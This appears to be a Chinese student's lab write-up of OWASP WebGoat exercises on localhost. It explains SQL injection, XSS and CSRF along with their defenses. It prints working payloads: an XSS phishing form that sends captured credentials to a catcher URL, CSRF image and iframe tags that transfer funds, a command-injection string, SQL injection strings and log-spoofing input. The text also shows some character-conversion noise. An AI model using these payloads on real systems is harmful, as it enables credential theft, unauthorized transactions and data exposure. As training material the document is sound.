2018-2019 20165226 Exp9 Web安全基础

2018-2019 20165226 Exp9 Web安全基础

目录


1、实验内容说明及基础问题回答javascript

2、实验过程html

3、问题与思考git

4、实验总结程序员



1、实验内容说明及基础问题回答


一、实验内容github

本实践的目标理解经常使用网络攻击技术的基本原理。Webgoat实践下相关实验。web

二、基础问题回答
(1)SQL注入攻击原理,如何防护正则表达式

  • 原理:
    • 经过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登陆、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,针对程序员编程时的疏忽,经过SQL语句,实现无账号登陆,甚至篡改数据库。
  • 防护办法:
    • 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
    • 摒弃动态SQL语句,而改用用户存储过程来访问和操做数据。这须要在创建数据库后,仔细考虑Web程序须要对数据库进行的各类操做,并为之创建存储过程,而后让Web程序调用存储过程来完成数据库操做。

(2)XSS攻击的原理,如何防护数据库

  • 原理:
    • 攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操做时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操做或者向其它网站提交用户的私密信息。
  • 防护办法:
    • 当恶意代码值被做为某一标签的内容显示:在不须要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )作过滤,将其转化为不被浏览器解释执行的字符。
    • 当恶意代码被做为某一标签的属性显示,经过用 “将属性截断来开辟新的属性或恶意方法:属性自己存在的 单引号和双引号都须要进行转码;对用户输入的html 标签及标签属性作白名单过滤,也能够对一些存在漏洞的标签和属性进行专门过滤。

(3)CSRF攻击原理,如何防护编程

  • 原理:
    • CSRF就是冒名登陆。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,由于目前主流状况> Session都是存在Cookie中.攻击者并不关心被害者具体账号和密码,由于一旦用户进行了登陆,Session就是用户的惟一凭证,只要攻击者可以获得Session,就能够假装成被害者进入服务器.
    • 主要是当访问网站A时输入用户名和密码,在经过验证后,网站A产生Cookie信息并返回,此时登陆网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另外一个网站B,网站B可返回一些攻击性代码并请求访问网站A;所以在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,所以仍是会执行该恶意代码
  • 防护办法:
    • 经过 referer、token 或者 验证码 来检测用户提交。
    • 尽可能不要在页面的连接中暴露用户隐私信息。
    • 对于用户修改删除等操做最好都使用post 操做 。
    • 避免全站通用的cookie,严格设置cookie的域。

返回目录



2、实验过程

WebGoat准备

  • 介绍:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件

  • 在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,能够看到占用8080端口,实验过程当中不能关闭终端

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面,直接用默认用户名密码登陆便可

XSS攻击

跨站脚本攻击是经过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,能够模拟用户当前的操做。这里实验的是一种获取用户名和密码的攻击。

① Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
  • 将下面这段代码输入到Search:输入框中,点击search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

结果会出现代码中所指定的黄、橙、灰三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。

  • 若是真的在登陆框中输入用户名、密码,eg:20165226 123456,点击登陆后,会像代码中alert提示的,显示被窃取的用户名和密码。

② Stored XSS Attacks 存储型XSS攻击


存储型XSS的攻击基本流程:

一、好比在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,而且提交。
二、网站后台程序将留言内容存储在数据中
三、而后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了以前黑客的留言内容,而且直接插入在html页面中,这就可能致使:黑客留言的脚本自己应该做为内容显示在留言板的,但此时黑客的留言脚本被浏览器解释执行。

黑客的脚本能够用来作以下所述的攻击:

1.经过javascript获取用户的cookie,根据这个cookie窃取用户信息
2.重定向网站到一个钓鱼网站
3.从新更改页面内容,伪装让客户输入用户名,密码,而后提交到黑客的服务器

  • 打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
  • Message框中输入上面那段代码,并点击submitTitle随便输入
  • 提交后,下方Message List中会新增刚输入的Tile名字的连接,点击连接。

  • 能够看到咱们的html已经注入成功,messege部分显示的是三色框,在下方用户名密码处输入,eg:20165226 123456,点击提交后,被成功获取用户名和密码:

③ Reflected XSS Attacks 反射型XSS攻击


反射型XSS:

咱们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不一样的HTML返回。
value可能出如今返回的HTML(多是JS,HTML某元素的内容或者属性)中,
若是将value改为能够在浏览器中被解释执行的东西,就造成了反射型XSS.
别人可能修改这个value值,而后将这个恶意的URL发送给你,当URL地址被打开时,
特有的恶意代码参数就会被HTML解析执行.
它的特色是非持久化,必须用户点击带有特定参数的连接才能引发。

存储型XSS与反射型XSS的区别:

①存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie等。

②反射型XSS,非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。

  • 打开xss的第三个攻击Reflected XSS Attacks

  • 在“Enter your three digit access code:”中输入点击Purchase,成功显示警告框,内容为咱们script脚本指定的内容:


CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。

① Cross Site Request Forgery(CSRF)

  • 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)
  • 查看页面下方Parameters中的src和menu值,分别为293和900

  • message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=293&menu=900&transferFunds=5000" width="1" height="1" />

以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 这里src值、menu值要根据上一步查看的结果修改,转帐数额随便输入,eg:5000
- 宽高设置成1像素的目的是隐藏该图片

  • 提交后,在Message List中生成以Title命名的连接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

② CSRF Prompt By-Pass

  • 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
  • 同攻击4,查看页面下侧Parameters中的srcmenu值(323和900)

  • 在title框中输入学号,message框中输入代码
<iframe src="attack?Screen=323&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的连接"20165226"。
  • 点击进入后,如图攻击成功:

SQL注入攻击

SQL注入攻击是黑客对数据库进行攻击的经常使用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也愈来愈多。可是因为程序员的水平及经验也良莠不齐,至关大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户能够提交一段数据库查询代码,根据程序返回的结果,得到某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

① Command Injection 命令注入

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"

  • 点击view,能看到网络端口使用状况和 IP 地址,攻击成功

② Numeric SQL Injection

显示全部城市的天气状况

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

  • 攻击成功,显示全部城市的天气状况

③ Log Spoofing 日志欺骗

经过查看下方灰色区域,咱们分析它表明在 Web 服务器的日志中的记录的内容。

目的:使用户名为“admin” 的用户在日志中显示“成功登陆”。

方法:经过在日志文件中插入脚本实现。

  • 在username中填入 5226%0d%0aLogin Succeeded for username: admin`,利用回车(0D%)和换行符(%0A)让其在日志中两行显示

  • 点击Login,可见5226在Login Fail那行显示,咱们本身添加的语句在下一行显示

  • 能够向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。用户名输入admin <script>alert(document.cookie)</script>,管理员能够看到弹窗的cookie信息。

④ String SQL Injection 字符串型注入

目的:尝试经过 SQL 注入将全部信用卡信息显示出来。

方法:基于如下查询语句构造本身的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'

  • 选择Injection Flaws中的String SQL Injection
  • 输入查询的用户名lxs' or 1=1--
    如此lxs1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的全部数据。

⑤ LAB:SQL Injection

  • 将密码长度maxlength改成200

  • 在密码框输入' or 1=1 --

返回目录



3、问题与思考

  • 下载jar包后运行中主目录中没有所需的攻击列表,卸载重装,而后重启了n次仍是这个界面,无解

  • 分析:电脑jdk版本和 这个jar的jdk版本不一样
  • 解决方案:换了虚拟机,而后OK

返回目录

4、实验总结

经过本次实验学习了使用WebGoat工具进行SQL注入攻击、XSS攻击、CSRF攻击,主要攻击方法即是利用语句漏洞。整体挺有意思,对SQL语句格式有了更深掌握。
返回目录

相关文章
相关标签/搜索